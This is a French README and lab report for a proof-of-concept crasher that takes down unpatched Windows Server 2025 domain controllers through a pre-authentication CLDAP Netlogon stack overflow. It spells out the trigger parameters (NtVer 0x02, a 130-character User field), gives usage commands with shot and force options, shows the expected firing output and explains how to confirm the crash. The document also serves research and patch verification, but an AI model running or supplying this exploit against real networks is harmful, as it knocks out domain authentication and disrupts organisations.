
CVE-2026-41089 LongLogon : crasher de dépassement de tampon de pile pré-auth CLDAP (UDP/389) pour Netlogon de Windows Server 2025 non corrigé (lsass 0xc0000409). PoC Python uniquement basé sur la bibliothèque standard + rapport de laboratoire.
Débordement de tampon de pile avant authentification dans le service Netlogon de Windows Server 2025. Un seul paquet CLDAP (UDP/389) provenant de n'importe quel hôte sur le réseau suffit : lsass.exe meurt avec STATUS_STACK_BUFFER_OVERRUN (0xc0000409) et le contrôleur de domaine redémarre.
La réponse à un ping CLDAP Netlogon est sérialisée dans un tampon de pile de 528 octets. Le serveur écrit ses propres noms (forêt, domaine, nom d'hôte) suivis du champ User contrôlé par l'attaquant (limité à 130 caractères larges). Lorsque le remplissage total atteint 536 octets (tampon + cookie de pile), le L'\0' final écrase le cookie /GS et le processus plante.
Le champ NtVer détermine le chemin de code : 0x02 emprunte le BuildSamLogonResponse vulnérable, tandis que 0x06 / 0x16 empruntent le BuildSamLogonResponseEx borné (sûr). Ce PoC envoie NtVer = 0x02.
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run sonde avec User=1 (bénin), affiche le remplissage projeté, ne tire pas --shots N nombre de paquets de débordement à envoyer (par défaut 1) --confirm-wait S attente avant de re-sonder après un tir silencieux (par défaut 75s) --force tire même si le remplissage projeté est inférieur à 536 octets
Exemple (remplacez l'IP et le domaine par vos valeurs de labo) :
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
Sortie attendue du tir :
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
Codes de sortie : 0 plantage probable, 1 DC silencieux lors de la sonde initiale, 2 remplissage inférieur à 536 octets (limite), 3 DC a survécu.
Remarque : le script re-sonde après 75 secondes car un seul paquet silencieux peut aussi être un datagramme UDP perdu. Ne concluez pas à un plantage à partir du silence seul.
Utilisez le vérificateur officiel du dépôt de recherche. Il sonde avec User=1, donc le DC reste actif :
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
Attendu : « PRECONDITION MET » avec un remplissage projeté d'au moins 536 octets.
Le vérificateur ne prouve pas l'état du correctif : un DC corrigé emprunte le même chemin de code et refuse simplement l'écriture trop longue. Vérifiez la version de netlogon.dll sur le DC directement (< 10.0.26100.32772 = vulnérable).
Sur le DC, une fois qu'il est de nouveau opérationnel :
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
Recherchez l'événement 1000 : application défaillante lsass.exe, module défaillant netlogon.DLL, code d'exception 0xc0000409, et une heure de démarrage postérieure au tir.
Testé sur Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230 (non corrigé), domaine de 64 caractères + nom d'hôte de 63 caractères (remplissage projeté 581 octets). Un paquet tiré :
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
Ce PoC est fourni à des fins éducatives et de recherche uniquement. Il a été développé et testé dans un environnement de labo isolé sur Windows Server 2025. Utilisez-le à vos propres risques.
En utilisant ce script, vous acceptez que l'auteur ne soit pas responsable de toute perte de données, interruption de service, dommage matériel ou autre conséquence directe ou indirecte. Le plantage n'est pas idempotent : le contrôleur de domaine cible va redémarrer. Prenez un instantané avant de tirer.
Aucune garantie n'est donnée que ce PoC fonctionne dans un environnement de production ou sur toutes les builds de Windows Server 2025.